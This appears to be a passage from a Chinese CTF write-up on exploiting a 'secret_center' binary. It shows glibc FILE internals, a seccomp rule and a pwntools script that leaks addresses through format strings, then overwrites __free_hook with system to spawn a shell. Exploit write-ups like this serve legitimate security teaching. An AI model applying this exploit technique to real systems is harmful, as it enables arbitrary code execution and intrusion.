└─[$] <> ./secret_center Welcome to Secret Center! [*]Reinforcable Secret Service.. [1] show secret on Server [2] input my secret [3] delete my secret [4] Guard Ready [5] Set Guard [6] edit my secret [7] exit > 2 Secret Size: 123 Content: %n Not Good Secret :P
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
而fopen中真正打开并填写fileno字段的函数在\libio\fileops.c中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
_IO_FILE * _IO_file_open (_IO_FILE *fp, constchar *filename, int posix_mode, int prot, int read_write, int is32not64) { int fdesc; #ifdef _LIBC if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL)) fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot); else fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot); #else fdesc = open (filename, posix_mode, prot); #endif if (fdesc < 0) returnNULL; fp->_fileno = fdesc; ... }
A = arch A == ARCH_X86_64 ? next : dead A = sys_number A == close ? dead : next A == exit_group ? dead : next A == open ? next : allow A = args[0] A &= 0xff A == 0x7c ? dead : next allow: return ALLOW dead: return ERRNO(0)
利用seccomp-tools生成这样的规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
└─[$] <> seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm - line CODE JT JF K ================================= 0000: 0x200x000x000x00000004 A = arch 0001: 0x150x000x080xc000003eif (A != ARCH_X86_64) goto0010 0002: 0x200x000x000x00000000 A = sys_number 0003: 0x150x060x000x00000003if (A == close) goto0010 0004: 0x150x050x000x000000e7if (A == exit_group) goto0010 0005: 0x150x000x030x00000002if (A != open) goto0009 0006: 0x200x000x000x00000010 A = args[0] 0007: 0x540x000x000x000000ff A &= 0xff 0008: 0x150x010x000x0000007cif (A == 124) goto0010 0009: 0x060x000x000x7fff0000return ALLOW 0010: 0x060x000x000x00050000return ERRNO(0)
fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a') input(0x120,fmt+'\x10')#7 p.recvuntil("Not Good Secret :P\n\n") maps = '000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda' p.sendline(maps) input(0x68,'\x00')#8 libc_address = 0 heap_address = 0 pie = 0 while1: tmp = p.readline() if"close"in tmp: tmp+= p.readline() tmp.replace("It's close.. Try to get a shell!\n",'') print'[?]',tmp#.split('-')[0] if ('libc-2.23.so'in tmp): addr = int('0x'+tmp.split('-')[0],16) if libc_address == 0: libc_address = addr if'heap'in tmp: addr = int('0x'+tmp.split('-')[0],16) if heap_address == 0: heap_address = addr if'secret_center'in tmp: addr = int('0x'+tmp.split('-')[0],16) if pie == 0: pie = addr
if (libc_address*heap_address*pie != 0): break print'[+]libc_address',hex(libc_address) print'[+]heap_address',hex(heap_address) print'[+]pie',hex(pie) now = 0 last= 0 fmt = ('%256p'*33) target = libc_address+libc.symbols['system'] where = libc_address+libc.symbols['__free_hook'] for i in range(6): now = (target>>(i*8))&0xff if last<now: fmt+= '%'+str(now-last)+'c' + '%hhn' else: fmt+= '%'+str(0x100+now-last)+'c'+ '%hhn' last = now
fmt+=';sh' fmt = fmt.ljust(0xe0,'\0') for i in range(6): fmt+= p64(0x31)+p64(where+i) input(0x150,fmt+'\0')#9 print'fmt:',hex(len(fmt)),fmt p.recvuntil('It\'s close.. Try to get a shell!') p.sendline(maps) delete()